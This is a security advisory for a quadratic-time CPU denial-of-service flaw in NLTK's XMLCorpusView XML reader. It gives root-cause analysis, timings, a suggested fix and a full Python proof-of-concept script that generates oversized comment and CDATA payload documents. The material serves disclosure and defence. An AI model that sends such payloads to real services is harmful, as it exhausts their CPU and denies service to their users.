GHSA-J8G8-J4J7-8J54
Vulnerability from github – Published: 2026-11-19 23:54 – Updated: 2026-11-19 23:54affected: PyPI
nltk>= 3.6—nltk.corpus.reader.xmldocs.XMLCorpusViewstreaming read (and thenps_chat/framenetreaders built on it) dynamically reproduced:3.6(6/6 checks),3.9.2(6/6),3.10.3(6/6) anddevelop6818767b9(6/6)
Source references (nltk/corpus/reader/xmldocs.py:NNN) are to commit 6818767b99c24659107eb2be9bccd32a3d4bf045 (develop, v3.10.3-15-g6818767b9). The released v3.10.3 wheel's xmldocs.py is byte-identical to that commit, so the same line numbers apply to the released wheel.
Summary
An attacker who can make a victim read a well-formed XML corpus file whose body contains one large comment or CDATA section can pin a CPU core for a time quadratic in the file size, because XMLCorpusView._read_xml_fragment (nltk/corpus/reader/xmldocs.py) re-runs a linear whole-buffer validation after every 1 KiB block while the comment/CDATA terminator is still ahead. XMLCorpusView is NLTK's documented streaming API for XML corpora and is instantiated directly by the NPSChatCorpusReader and FramenetCorpusReader readers; the module header (xmldocs.py:16-20) explicitly handles untrusted corpus XML. The in_tag guard added to this function for GHSA-vp2x covers only a single oversized <...> tag and leaves the CDATA/comment path quadratic in the current release.
Details
Root cause: _read_xml_fragment (xmldocs.py:273-338) accumulates the file into one fragment string in _BLOCK_SIZE (1024) character chunks (xmldocs.py:123, 298-299). After every block that is not yet a well-formed prefix, the fragment is re-validated against _VALID_XML_RE. Two whole-buffer operations dominate:
# xmldocs.py:308
if not in_tag and self._VALID_XML_RE.match(fragment): # whole-buffer match (O(len))
return fragment
# xmldocs.py:312
if re.search("[<>]", fragment).group(0) == ">": # O(1) for this input class:
... # the document starts with '<'
# xmldocs.py:329
if self._VALID_XML_RE.match(fragment[:last_open_bracket]): # whole-buffer prefix match (O(len))
...
For this input class the re.search probe at xmldocs.py:312 is O(1): the fragment always starts with < (e.g. <root>…), so the first </> character is at offset 0 and it never contributes cost. The quadratic cost comes entirely from the two whole-buffer regex matches at xmldocs.py:308 and xmldocs.py:329 (the latter scans the buffer up to the most recent <, which for this input sits near the end of the buffer).
_VALID_XML_RE (xmldocs.py:238-249) is a linear regex (its tempered-dot comment/CDATA bodies (?:(?!-->).)* / (?:(?!\]\]>).)* scan left-to-right in O(length) — confirmed by the embedded script's single-match check), but for a fragment whose terminator is far ahead the match itself fails after scanning the whole buffer. With an unclosed-across-blocks CDATA or comment, every one of the n/1024 blocks pays O(current buffer length) on lines 308 and 329, for a total of ~O(n²) character operations.
The in_tag guard added for GHSA-vp2x (xmldocs.py:283-305) tracks only bare </> characters: it is True inside an unclosed <...> tag and, in that state, skips only the line-308 match. It never represents "the fragment sits inside an unclosed CDATA or comment" — XML allows arbitrary </> inside those constructs — so both the line-308 match and the line-329 backtrack match still fire on every block for a CDATA/comment fragment. The comment block at xmldocs.py:283-289 even documents the intended linearity contract ("re-running it on every 1 KiB block otherwise makes a single oversized tag O(n^2) (CWE-407)"); the guard implements it for the tag branch only.
The single-match cost is linear, not super-linear: the embedded script measures _VALID_XML_RE.match() on 512 KiB → 1 MiB → 2 MiB unclosed-CDATA buffers and gets ≈ 0.074 s → 0.142 s → 0.280 s (≈ 1:1.9:3.8, i.e. linear), asserting the 4× ratio stays well below the quadratic bound. The quadratic total therefore comes from re-running those linear matches per block — the exact CWE-407 pattern the in-tag guard was introduced to eliminate.
Version nuance (all dynamically verified):
3.10.3/develop(guard present): the pinned regex validates CDATA correctly, so both the comment and the CDATA attack documents read successfully and return; both scale super-linearly (t(4n)/t(n) ≈ 13-16; linear would be ≈ 4). The oversized single-tag control reads linearly (ratio ≈ 4.0), proving the quadratic cost is specific to the unguarded CDATA/comment path.3.6/3.9.2(pre-guard): these releases use a lazy_VALID_XML_REwhose CDATA alternative<![CDATA[.*?]]>never matches (the[CDATA[.*?]substring is parsed as a character class), so a CDATA document is rejected withValueError: Unexpected end of file: tag not closedafter the quadratic scan — a separate functional defect. The comment variant is a clean well-formed document on these releases and is likewise quadratic (t(4n)/t(n) ≈ 14-16); the oversized-tag control also reads quadratically there (ratio ≈ 16), i.e. the whole unclosed-construct class GHSA-vp2x addressed is unpatched.
PoC
The self-checking script embedded at the end of this advisory builds a well-formed XML document whose root holds a large comment containing </> characters with no --> before the final marker, drives XMLCorpusView's fragment reader at sizes n and 4n, and asserts the doubling ratio is far above linear. It also runs the CDATA variant, a single-match linearity check (proving the regex itself is not the super-linear factor), a linear-control giant tag, a well-formedness check, and a public-API reachability check, exiting non-zero on any failure.
Scope note: dynamically run on 3.6, 3.9.2, 3.10.3 (released wheels from PyPI / the local 3.10.3 wheel) and develop 6818767b9 (checked out source). No releases outside those were run; the >= 3.6 bound is the oldest release tested. Environment for the recorded runs: CPython 3.10.12, Linux x86_64. Input sizes are 64 KiB vs 256 KiB (attack) and 1 MiB vs 4 MiB (linear control), so a full run takes a few seconds.
Live transcript (recorded run on the 3.10.3 wheel; the 3.6, 3.9.2 and develop 6818767b9 runs are summarized below):
[TIMING] unclosed comment n=65558 t=0.083s 4n=262166 t=1.070s ratio=12.9 (n->returned)
[PASS] attack document is well-formed XML (parses with ElementTree) (both sizes parse; root element tag='root')
[PASS] unclosed-comment read cost scales super-linearly (t(4n)/t(n) > 10; linear ~4) (measured 12.9)
[INFO] in-tag guard present in module: True
[TIMING] CDATA variant n=65561 t=0.142s 4n=262169 t=2.169s ratio=15.3 (n->returned)
[PASS] CDATA variant also super-linear on guard-present build (measured 15.3)
[TIMING] single _VALID_XML_RE.match 256KiB=0.0083s 512KiB=0.0741s 1MiB=0.1419s 2MiB=0.2804s
[PASS] single match scales ~linearly (512KiB->2MiB 4x input ~4x time; not super-linear) (measured 4x ratio=3.79)
[TIMING] oversized tag (control) n=1048576 t=0.059s 4n=4194304 t=0.242s ratio=4.1
[PASS] oversized single tag reads linearly (guard present; t(4n)/t(n) < 8) (measured 4.1)
[PASS] public API list(XMLCorpusView(path, '.*')) reads the attack document (1 item(s) read from 65558-byte document)
RESULT 6/6 checks passed, 0 failed
Other runs (all 6/6; essential lines only):
3.6 (pre-guard): comment ratio=15.5 (returned); CDATA -> ValueError; tag control ratio=16.8; single-match 4x ratio=1.19
3.9.2 (pre-guard): comment ratio=15.0 (returned); CDATA -> ValueError; tag control ratio=16.8; single-match 4x ratio=0.95
develop 6818767b9: comment ratio=13.0 (returned); CDATA ratio=15.3 (returned); tag control ratio=3.9; single-match 4x ratio=3.76
(The pre-guard single-match ratios are meaningless — their dead CDATA alternative fails in O(1) — and are reported for completeness only.)
Impact
- Type: CWE-407 / CWE-400 — CPU exhaustion / algorithmic-complexity denial of service on a single untrusted corpus-file read; no confidentiality or integrity impact.
- Who is impacted: any deployment that feeds corpus XML to
XMLCorpusView(or to thenps_chat/framenetreaders) from a source not fully trusted — the exact "untrusted input" threat model inSECURITY.md. The input is ordinary, well-formed XML; nothing about it is malformed or rejected by any parser. - Attacker requirements: deliver a well-formed XML file whose body contains a large comment or CDATA section with
</>characters and the terminator at the end. No privilege and no user interaction are required beyond the automated read of the file — the same delivery model as other NLTK resource-loading issues (SECURITY.md), where a service, CI pipeline or notebook ingests a corpus file (uploaded, packaged, or fetched by the loader); this justifiesUI:NandAV:Nin the score above. - Effect: measured 256 KiB → ~1.1 s single read; cost scales with the square of the input size (t(4n)/t(n) ≈ 13-16), so a few MiB reaches tens of seconds and tens of MiB reaches minutes of CPU on a single core. Because the file is well-formed and the read eventually succeeds (current releases), ordinary users observe only severe slowdown; a scheduler/job that processes many such files is trivially pinned.
Suggested fix: extend the incremental state tracking to CDATA/comment/DOCTYPE like in_tag already does for tags: while scanning each newly-read block, also track whether the fragment sits inside an unclosed <!... construct (no ]]> / --> / doctype terminator yet), and skip the whole-buffer matches at xmldocs.py:308 and xmldocs.py:329 whenever the fragment is provably non-well-formed for that reason — the same behaviour-preserving argument the in-tag guard already documents. Alternatively, only re-validate the newly-read block plus a bounded suffix instead of the whole growing buffer. Add regression tests mirroring the existing nltk/test/unit/test_quadratic_dos.py cluster (GHSA-vp2x) with comment and CDATA payloads asserting the doubling ratio stays linear.
Reproduction script (self-contained)
#!/usr/bin/env python3
"""Self-checking reproduction of the NLTK XMLCorpusView algorithmic-complexity
CPU DoS for unclosed-across-blocks CDATA / comments (O(n^2) read cost).
Root cause: ``XMLCorpusView._read_xml_fragment`` (``nltk/corpus/reader/xmldocs.py``)
reads a file in 1024-char blocks and accumulates them into a single ``fragment``.
After every block that is not yet a well-formed prefix, it re-runs a *linear*
pass over the whole growing buffer -- ``_VALID_XML_RE.match(fragment)`` and, when
it backtracks, ``_VALID_XML_RE.match(fragment[:last_lt])``. (A third probe,
``re.search("[<>]", fragment)``, is O(1) here because the document starts with
'<'.)
For a fragment that stays "unclosed"
across many blocks -- a CDATA section or comment whose terminator (``]]>`` /
``-->``) lies far ahead -- every block costs O(current buffer length), so a
single document of N bytes costs ~O(N^2) character operations. The in-tag guard
added for GHSA-vp2x tracks only a bare '<'..'>' tag and is blind to unclosed
CDATA / comment state, so this class remains quadratic in the current release.
The attack documents are *well-formed* XML: comments and CDATA may legally
contain '<' and '>'.
Controls:
1. Well-formedness: the attack document parses with ElementTree.
2. Linear baseline on the same reader: an oversized *single tag* of the same
size reads linearly when the in-tag guard is present (the fixed GHSA-vp2x
case). On pre-guard builds it is quadratic too -- reported, not asserted.
3. Public API reachability: ``list(XMLCorpusView(path, ".*"))`` drives the
same sink.
Assertions:
- attack doubling ratio t(4n)/t(n) must clearly exceed the linear bound (~4).
- tag-control doubling ratio must be ~linear (< 8) when the guard is present.
Usage:
python3 repro_xmlcorpusview_unclosed_cdata.py
Env:
PYTHONPATH : site-packages of the nltk version under test (required)
NLTK_BODY_SIZE : comment/CDATA body size in bytes (default 65536)
"""
import io
import os
import shutil
import sys
import tempfile
import time
import xml.etree.ElementTree as ET
# Point NLTK's sandbox at a private data root so the public API reachability
# check below may open its own corpus file (pathsec only trusts data roots and
# private temp dirs; a shared /tmp is not an allowed root).
_DATA_ROOT = os.environ.get("NLTK_DATA")
_CLEANUP_ROOT = None
if not _DATA_ROOT:
_DATA_ROOT = tempfile.mkdtemp(prefix="nltk_xmlview_")
os.environ["NLTK_DATA"] = _DATA_ROOT
_CLEANUP_ROOT = _DATA_ROOT
from nltk.corpus.reader.xmldocs import XMLCorpusView
def elapsed(fn):
start = time.perf_counter()
fn()
return time.perf_counter() - start
def build_comment_doc(body_size):
# Well-formed XML: one root, one large comment containing '<' and '>' and
# no '-->' before the closing marker.
body = ("a<b<c<d>" * ((body_size // 8) + 1))[:body_size]
return "<root><!-- " + body + " --></root>"
def build_cdata_doc(body_size):
# Well-formed XML: one root, one large CDATA containing '<' and '>' and no
# ']]>' before the closing marker.
body = ("a<b<c<d>" * ((body_size // 8) + 1))[:body_size]
return "<root><![CDATA[" + body + "]]></root>"
def build_unclosed_cdata_prefix(body_size):
# The line-308 match input: an accumulating fragment that is still inside
# an unclosed CDATA (no ']]>' yet). A distinct body alphabet avoids CPU-cache
# reuse with the attack-timing buffers above, which would skew the timing.
body = ("x<y<z<w>" * ((body_size // 8) + 1))[:body_size]
return "<root><![CDATA[" + body
def build_giant_tag(body_size):
# Control: a single oversized '<a ...>' tag, no '>' until the very end.
return "<a " + ("x" * body_size) + ">"
def guard_present():
import nltk.corpus.reader.xmldocs as m
with open(m.__file__, encoding="utf-8") as fh:
return "in_tag" in fh.read()
view = XMLCorpusView.__new__(XMLCorpusView)
results = []
def check(name, cond, detail=""):
results.append(bool(cond))
print(f"[{'PASS' if cond else 'FAIL'}] {name}" + (f" ({detail})" if detail else ""))
def read_frag(doc):
"""Drive _read_xml_fragment, tolerating the EOF ValueError that pre-guard
releases raise for CDATA-containing documents."""
try:
return view._read_xml_fragment(io.StringIO(doc))
except ValueError as exc:
return "ValueError: %s" % exc
def time_ratio(build, n1, n4):
d1, d4 = build(n1), build(n4)
t1 = elapsed(lambda: read_frag(d1))
t4 = elapsed(lambda: read_frag(d4))
return d1, d4, t1, t4
# ---- Sizes ---------------------------------------------------------------
body = int(os.environ.get("NLTK_BODY_SIZE", "65536"))
tag1, tag4 = 1 << 20, 4 << 20 # 1 MiB / 4 MiB (guard-present linear baseline)
# ---- Primary attack: large comment unclosed until its final '-->' ---------
c1, c4, t1, t4 = time_ratio(build_comment_doc, body, 4 * body)
ratio = t4 / t1
out1 = read_frag(c1) # outcome probe (returned string vs ValueError)
outcome = "returned" if isinstance(out1, str) and not out1.startswith("ValueError") else out1
print(f"[TIMING] unclosed comment n={len(c1)} t={t1:.3f}s "
f"4n={len(c4)} t={t4:.3f}s ratio={ratio:.1f} (n->{outcome})")
check(
"attack document is well-formed XML (parses with ElementTree)",
ET.fromstring(c1).tag == "root" and ET.fromstring(c4).tag == "root",
f"both sizes parse; root element tag='{ET.fromstring(c1).tag}'",
)
check(
"unclosed-comment read cost scales super-linearly (t(4n)/t(n) > 10; linear ~4)",
ratio > 10.0,
f"measured {ratio:.1f}",
)
# ---- CDATA variant ---------------------------------------------------------
has_guard = guard_present()
print(f"[INFO] in-tag guard present in module: {has_guard}")
d1, d4, td1, td4 = time_ratio(build_cdata_doc, body, 4 * body)
dratio = td4 / td1
dout = read_frag(d1)
doutcome = "returned" if isinstance(dout, str) and not dout.startswith("ValueError") else dout
print(f"[TIMING] CDATA variant n={len(d1)} t={td1:.3f}s "
f"4n={len(d4)} t={td4:.3f}s ratio={dratio:.1f} (n->{doutcome})")
if has_guard:
check(
"CDATA variant also super-linear on guard-present build",
dratio > 10.0,
f"measured {dratio:.1f}",
)
else:
# Pre-guard releases cannot validate any CDATA (their regex's CDATA
# alternative never matches), so the fragment ends in ValueError -- a
# separate functional defect; report only.
check(
"pre-guard CDATA path ends in ValueError (regex cannot validate CDATA; report-only)",
doutcome.startswith("ValueError"),
str(doutcome),
)
# ---- Single-match linearity of _VALID_XML_RE ------------------------------
# The quadratic total comes from re-running a *linear* whole-buffer match on
# every block, not from the regex itself backtracking super-linearly (a single
# match would then also blow up with input size). Verify single-match scaling.
# The assertion uses the 512 KiB -> 2 MiB pair (the 256 KiB size runs ~4x
# faster in an already-warmed engine, so it is reported but not asserted on).
def best_match_ms(buf):
view._VALID_XML_RE.match(buf) # warm-up (cache pattern + char-class state)
return min(elapsed(lambda: view._VALID_XML_RE.match(buf)) for _ in range(3))
ms = {s: best_match_ms(build_unclosed_cdata_prefix(s)) for s in (1 << 18, 1 << 19, 1 << 20, 1 << 21)}
print(f"[TIMING] single _VALID_XML_RE.match 256KiB={ms[1 << 18]:.4f}s 512KiB={ms[1 << 19]:.4f}s "
f"1MiB={ms[1 << 20]:.4f}s 2MiB={ms[1 << 21]:.4f}s")
check(
"single match scales ~linearly (512KiB->2MiB 4x input ~4x time; not super-linear)",
ms[1 << 21] / ms[1 << 19] < 6.0,
f"measured 4x ratio={ms[1 << 21] / ms[1 << 19]:.2f}",
)
# ---- Control: giant single tag on the same reader ---------------------------
if has_guard:
g1, g4, tg1, tg4 = time_ratio(build_giant_tag, tag1, tag4)
gratio = tg4 / tg1
print(f"[TIMING] oversized tag (control) n={tag1} t={tg1:.3f}s "
f"4n={tag4} t={tg4:.3f}s ratio={gratio:.1f}")
check(
"oversized single tag reads linearly (guard present; t(4n)/t(n) < 8)",
gratio < 8.0,
f"measured {gratio:.1f}",
)
else:
g1, g4, tg1, tg4 = time_ratio(build_giant_tag, body, 4 * body)
gratio = tg4 / tg1
print(f"[TIMING] oversized tag (no guard) n={len(g1)} t={tg1:.3f}s "
f"4n={len(g4)} t={tg4:.3f}s ratio={gratio:.1f}")
check(
"oversized single tag also super-linear pre-guard (report-only)",
gratio > 4.0,
f"measured {gratio:.1f}",
)
# ---- Reachability: the public XMLCorpusView API drives the same sink -------
path = os.path.join(_DATA_ROOT, "attack.xml")
with open(path, "w", encoding="utf-8") as fh:
fh.write(c1)
try:
items = list(XMLCorpusView(path, ".*"))
check(
"public API list(XMLCorpusView(path, '.*')) reads the attack document",
len(items) >= 1,
f"{len(items)} item(s) read from {len(c1)}-byte document",
)
finally:
if _CLEANUP_ROOT:
shutil.rmtree(_CLEANUP_ROOT, ignore_errors=True)
passed = sum(results)
failed = len(results) - passed
print(f"RESULT {passed}/{len(results)} checks passed, {failed} failed")
sys.exit(0 if failed == 0 else 1)
Fix status (2026-09-28)
Status: IN PROGRESS (fix on an open pull request, not yet on develop).
Two open pull requests carry a fix.
PR: #3753 "[Do not merge yet] Fix GHSA-8mgp-746c-j5xp: URL-scheme bypass of pathsec.validate_path", open; head da55cab0e at the time of this note (a develop merge on top of 238f81500, the head on which the verdicts below were measured). Fix commits: cf12a5e6a (XMLCorpusView._read_xml_fragment grows its read window geometrically so an unclosed CDATA or comment is re-scanned O(log n) times; SeekableUnicodeStreamReader.readline searches only the fresh span) and 2acc9bd97 (readline accumulates spans in a list). Probe: nltk/test/unit/security_probes/ghsa_j8g8_j4j7_8j54.py on that PR; verdict on its head: FIXED (readline scales 4.1x over a 4x input).
PR: #3895 "[WIP] Bound algorithmic-DoS and uncontrolled-recursion vectors (CWE-400/407/674/1333)", open, head b22ebe144. Fix commit: 002bcf714 (bounds the same two sinks); the #3753 probe run against this head: FIXED (1.6x over a 4x input).
The probe run against develop 2fa3f48fe: VULNERABLE (readline scales 18.7x over a 4x input).
Release: none.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.3"
},
"package": {
"ecosystem": "PyPI",
"name": "nltk"
},
"ranges": [
{
"events": [
{
"introduced": "3.6"
},
{
"fixed": "3.10.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-128139"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-19T23:54:59Z",
"nvd_published_at": "2026-11-19T18:18:06Z",
"severity": "HIGH"
},
"details": "\u003e **affected**: PyPI `nltk` `\u003e= 3.6` \u2014 `nltk.corpus.reader.xmldocs.XMLCorpusView` streaming read (and the `nps_chat` / `framenet` readers built on it)\n\u003e **dynamically reproduced**: `3.6` (6/6 checks), `3.9.2` (6/6), `3.10.3` (6/6) and `develop` `6818767b9` (6/6)\n\n---\n\n_Source references (`nltk/corpus/reader/xmldocs.py:NNN`) are to commit `6818767b99c24659107eb2be9bccd32a3d4bf045` (`develop`, `v3.10.3-15-g6818767b9`). The released `v3.10.3` wheel\u0027s `xmldocs.py` is byte-identical to that commit, so the same line numbers apply to the released wheel._\n\n### Summary\n\n**An attacker who can make a victim read a well-formed XML corpus file whose body contains one large comment or CDATA section can pin a CPU core for a time quadratic in the file size, because `XMLCorpusView._read_xml_fragment` (`nltk/corpus/reader/xmldocs.py`) re-runs a linear whole-buffer validation after every 1 KiB block while the comment/CDATA terminator is still ahead.** `XMLCorpusView` is NLTK\u0027s documented streaming API for XML corpora and is instantiated directly by the `NPSChatCorpusReader` and `FramenetCorpusReader` readers; the module header (`xmldocs.py:16-20`) explicitly handles untrusted corpus XML. The `in_tag` guard added to this function for GHSA-vp2x covers only a single oversized `\u003c...\u003e` tag and leaves the CDATA/comment path quadratic in the current release.\n\n### Details\n\nRoot cause: `_read_xml_fragment` (`xmldocs.py:273-338`) accumulates the file into one `fragment` string in `_BLOCK_SIZE` (1024) character chunks (`xmldocs.py:123, 298-299`). After every block that is not yet a well-formed prefix, the fragment is re-validated against `_VALID_XML_RE`. Two whole-buffer operations dominate:\n\n```python\n# xmldocs.py:308\nif not in_tag and self._VALID_XML_RE.match(fragment): # whole-buffer match (O(len))\n return fragment\n# xmldocs.py:312\nif re.search(\"[\u003c\u003e]\", fragment).group(0) == \"\u003e\": # O(1) for this input class:\n ... # the document starts with \u0027\u003c\u0027\n# xmldocs.py:329\nif self._VALID_XML_RE.match(fragment[:last_open_bracket]): # whole-buffer prefix match (O(len))\n ...\n```\n\nFor this input class the `re.search` probe at `xmldocs.py:312` is O(1): the fragment always starts with `\u003c` (e.g. `\u003croot\u003e\u2026`), so the first `\u003c`/`\u003e` character is at offset 0 and it never contributes cost. The quadratic cost comes entirely from the two whole-buffer regex matches at `xmldocs.py:308` and `xmldocs.py:329` (the latter scans the buffer up to the most recent `\u003c`, which for this input sits near the end of the buffer).\n\n`_VALID_XML_RE` (`xmldocs.py:238-249`) is a *linear* regex (its tempered-dot comment/CDATA bodies `(?:(?!--\u003e).)*` / `(?:(?!\\]\\]\u003e).)*` scan left-to-right in O(length) \u2014 confirmed by the embedded script\u0027s single-match check), but for a fragment whose terminator is far ahead the *match itself fails after scanning the whole buffer*. With an unclosed-across-blocks CDATA or comment, **every one of the n/1024 blocks** pays O(current buffer length) on lines 308 and 329, for a total of ~O(n\u00b2) character operations.\n\nThe `in_tag` guard added for GHSA-vp2x (`xmldocs.py:283-305`) tracks only bare `\u003c`/`\u003e` characters: it is `True` inside an unclosed `\u003c...\u003e` tag and, in that state, skips only the line-308 match. It never represents \"the fragment sits inside an unclosed CDATA or comment\" \u2014 XML allows arbitrary `\u003c`/`\u003e` inside those constructs \u2014 so both the line-308 match and the line-329 backtrack match still fire on every block for a CDATA/comment fragment. The comment block at `xmldocs.py:283-289` even documents the intended linearity contract (\"re-running it on every 1 KiB block otherwise makes a single oversized tag O(n^2) (CWE-407)\"); the guard implements it for the tag branch only.\n\nThe single-match cost is linear, not super-linear: the embedded script measures `_VALID_XML_RE.match()` on 512 KiB \u2192 1 MiB \u2192 2 MiB unclosed-CDATA buffers and gets \u2248 0.074 s \u2192 0.142 s \u2192 0.280 s (\u2248 1:1.9:3.8, i.e. linear), asserting the 4\u00d7 ratio stays well below the quadratic bound. The quadratic total therefore comes from re-running those linear matches per block \u2014 the exact CWE-407 pattern the in-tag guard was introduced to eliminate.\n\n**Version nuance** (all dynamically verified):\n\n- **`3.10.3` / `develop` (guard present)**: the pinned regex validates CDATA correctly, so both the comment and the CDATA attack documents read successfully and return; both scale super-linearly (t(4n)/t(n) \u2248 13-16; linear would be \u2248 4). The oversized single-tag control reads linearly (ratio \u2248 4.0), proving the quadratic cost is specific to the unguarded CDATA/comment path.\n- **`3.6` / `3.9.2` (pre-guard)**: these releases use a *lazy* `_VALID_XML_RE` whose CDATA alternative `\u003c![CDATA[.*?]]\u003e` never matches (the `[CDATA[.*?]` substring is parsed as a character class), so a CDATA document is rejected with `ValueError: Unexpected end of file: tag not closed` after the quadratic scan \u2014 a separate functional defect. The comment variant is a clean well-formed document on these releases and is likewise quadratic (t(4n)/t(n) \u2248 14-16); the oversized-tag control also reads quadratically there (ratio \u2248 16), i.e. the whole unclosed-construct class GHSA-vp2x addressed is unpatched.\n\n### PoC\n\nThe self-checking script embedded at the end of this advisory builds a well-formed XML document whose root holds a large comment containing `\u003c`/`\u003e` characters with no `--\u003e` before the final marker, drives `XMLCorpusView`\u0027s fragment reader at sizes n and 4n, and asserts the doubling ratio is far above linear. It also runs the CDATA variant, a single-match linearity check (proving the regex itself is not the super-linear factor), a linear-control giant tag, a well-formedness check, and a public-API reachability check, exiting non-zero on any failure.\n\n**Scope note**: dynamically run on `3.6`, `3.9.2`, `3.10.3` (released wheels from PyPI / the local 3.10.3 wheel) and `develop` `6818767b9` (checked out source). No releases outside those were run; the `\u003e= 3.6` bound is the oldest release tested. Environment for the recorded runs: CPython 3.10.12, Linux x86_64. Input sizes are 64 KiB vs 256 KiB (attack) and 1 MiB vs 4 MiB (linear control), so a full run takes a few seconds.\n\nLive transcript (recorded run on the `3.10.3` wheel; the `3.6`, `3.9.2` and `develop` `6818767b9` runs are summarized below):\n\n```\n[TIMING] unclosed comment n=65558 t=0.083s 4n=262166 t=1.070s ratio=12.9 (n-\u003ereturned)\n[PASS] attack document is well-formed XML (parses with ElementTree) (both sizes parse; root element tag=\u0027root\u0027)\n[PASS] unclosed-comment read cost scales super-linearly (t(4n)/t(n) \u003e 10; linear ~4) (measured 12.9)\n[INFO] in-tag guard present in module: True\n[TIMING] CDATA variant n=65561 t=0.142s 4n=262169 t=2.169s ratio=15.3 (n-\u003ereturned)\n[PASS] CDATA variant also super-linear on guard-present build (measured 15.3)\n[TIMING] single _VALID_XML_RE.match 256KiB=0.0083s 512KiB=0.0741s 1MiB=0.1419s 2MiB=0.2804s\n[PASS] single match scales ~linearly (512KiB-\u003e2MiB 4x input ~4x time; not super-linear) (measured 4x ratio=3.79)\n[TIMING] oversized tag (control) n=1048576 t=0.059s 4n=4194304 t=0.242s ratio=4.1\n[PASS] oversized single tag reads linearly (guard present; t(4n)/t(n) \u003c 8) (measured 4.1)\n[PASS] public API list(XMLCorpusView(path, \u0027.*\u0027)) reads the attack document (1 item(s) read from 65558-byte document)\nRESULT 6/6 checks passed, 0 failed\n```\n\nOther runs (all 6/6; essential lines only):\n\n```\n3.6 (pre-guard): comment ratio=15.5 (returned); CDATA -\u003e ValueError; tag control ratio=16.8; single-match 4x ratio=1.19\n3.9.2 (pre-guard): comment ratio=15.0 (returned); CDATA -\u003e ValueError; tag control ratio=16.8; single-match 4x ratio=0.95\ndevelop 6818767b9: comment ratio=13.0 (returned); CDATA ratio=15.3 (returned); tag control ratio=3.9; single-match 4x ratio=3.76\n```\n\n(The pre-guard single-match ratios are meaningless \u2014 their dead CDATA alternative fails in O(1) \u2014 and are reported for completeness only.)\n\n### Impact\n\n- **Type**: CWE-407 / CWE-400 \u2014 CPU exhaustion / algorithmic-complexity denial of service on a single untrusted corpus-file read; no confidentiality or integrity impact.\n- **Who is impacted**: any deployment that feeds corpus XML to `XMLCorpusView` (or to the `nps_chat` / `framenet` readers) from a source not fully trusted \u2014 the exact \"untrusted input\" threat model in `SECURITY.md`. The input is ordinary, *well-formed* XML; nothing about it is malformed or rejected by any parser.\n- **Attacker requirements**: deliver a well-formed XML file whose body contains a large comment or CDATA section with `\u003c`/`\u003e` characters and the terminator at the end. No privilege and no user interaction are required beyond the *automated* read of the file \u2014 the same delivery model as other NLTK resource-loading issues (`SECURITY.md`), where a service, CI pipeline or notebook ingests a corpus file (uploaded, packaged, or fetched by the loader); this justifies `UI:N` and `AV:N` in the score above.\n- **Effect**: measured 256 KiB \u2192 ~1.1 s single read; cost scales with the square of the input size (t(4n)/t(n) \u2248 13-16), so a few MiB reaches tens of seconds and tens of MiB reaches minutes of CPU on a single core. Because the file is well-formed and the read eventually succeeds (current releases), ordinary users observe only severe slowdown; a scheduler/job that processes many such files is trivially pinned.\n\n**Suggested fix**: extend the incremental state tracking to CDATA/comment/DOCTYPE like `in_tag` already does for tags: while scanning each newly-read block, also track whether the fragment sits inside an unclosed `\u003c!...` construct (no `]]\u003e` / `--\u003e` / doctype terminator yet), and skip the whole-buffer matches at `xmldocs.py:308` and `xmldocs.py:329` whenever the fragment is provably non-well-formed for that reason \u2014 the same behaviour-preserving argument the in-tag guard already documents. Alternatively, only re-validate the newly-read block plus a bounded suffix instead of the whole growing buffer. Add regression tests mirroring the existing `nltk/test/unit/test_quadratic_dos.py` cluster (GHSA-vp2x) with comment and CDATA payloads asserting the doubling ratio stays linear.\n\n---\n\n### Reproduction script (self-contained)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Self-checking reproduction of the NLTK XMLCorpusView algorithmic-complexity\nCPU DoS for unclosed-across-blocks CDATA / comments (O(n^2) read cost).\n\nRoot cause: ``XMLCorpusView._read_xml_fragment`` (``nltk/corpus/reader/xmldocs.py``)\nreads a file in 1024-char blocks and accumulates them into a single ``fragment``.\nAfter every block that is not yet a well-formed prefix, it re-runs a *linear*\npass over the whole growing buffer -- ``_VALID_XML_RE.match(fragment)`` and, when\nit backtracks, ``_VALID_XML_RE.match(fragment[:last_lt])``. (A third probe,\n``re.search(\"[\u003c\u003e]\", fragment)``, is O(1) here because the document starts with\n\u0027\u003c\u0027.)\nFor a fragment that stays \"unclosed\"\nacross many blocks -- a CDATA section or comment whose terminator (``]]\u003e`` /\n``--\u003e``) lies far ahead -- every block costs O(current buffer length), so a\nsingle document of N bytes costs ~O(N^2) character operations. The in-tag guard\nadded for GHSA-vp2x tracks only a bare \u0027\u003c\u0027..\u0027\u003e\u0027 tag and is blind to unclosed\nCDATA / comment state, so this class remains quadratic in the current release.\n\nThe attack documents are *well-formed* XML: comments and CDATA may legally\ncontain \u0027\u003c\u0027 and \u0027\u003e\u0027.\n\nControls:\n 1. Well-formedness: the attack document parses with ElementTree.\n 2. Linear baseline on the same reader: an oversized *single tag* of the same\n size reads linearly when the in-tag guard is present (the fixed GHSA-vp2x\n case). On pre-guard builds it is quadratic too -- reported, not asserted.\n 3. Public API reachability: ``list(XMLCorpusView(path, \".*\"))`` drives the\n same sink.\n\nAssertions:\n - attack doubling ratio t(4n)/t(n) must clearly exceed the linear bound (~4).\n - tag-control doubling ratio must be ~linear (\u003c 8) when the guard is present.\n\nUsage:\n python3 repro_xmlcorpusview_unclosed_cdata.py\nEnv:\n PYTHONPATH : site-packages of the nltk version under test (required)\n NLTK_BODY_SIZE : comment/CDATA body size in bytes (default 65536)\n\"\"\"\nimport io\nimport os\nimport shutil\nimport sys\nimport tempfile\nimport time\n\nimport xml.etree.ElementTree as ET\n\n# Point NLTK\u0027s sandbox at a private data root so the public API reachability\n# check below may open its own corpus file (pathsec only trusts data roots and\n# private temp dirs; a shared /tmp is not an allowed root).\n_DATA_ROOT = os.environ.get(\"NLTK_DATA\")\n_CLEANUP_ROOT = None\nif not _DATA_ROOT:\n _DATA_ROOT = tempfile.mkdtemp(prefix=\"nltk_xmlview_\")\n os.environ[\"NLTK_DATA\"] = _DATA_ROOT\n _CLEANUP_ROOT = _DATA_ROOT\n\nfrom nltk.corpus.reader.xmldocs import XMLCorpusView\n\n\ndef elapsed(fn):\n start = time.perf_counter()\n fn()\n return time.perf_counter() - start\n\n\ndef build_comment_doc(body_size):\n # Well-formed XML: one root, one large comment containing \u0027\u003c\u0027 and 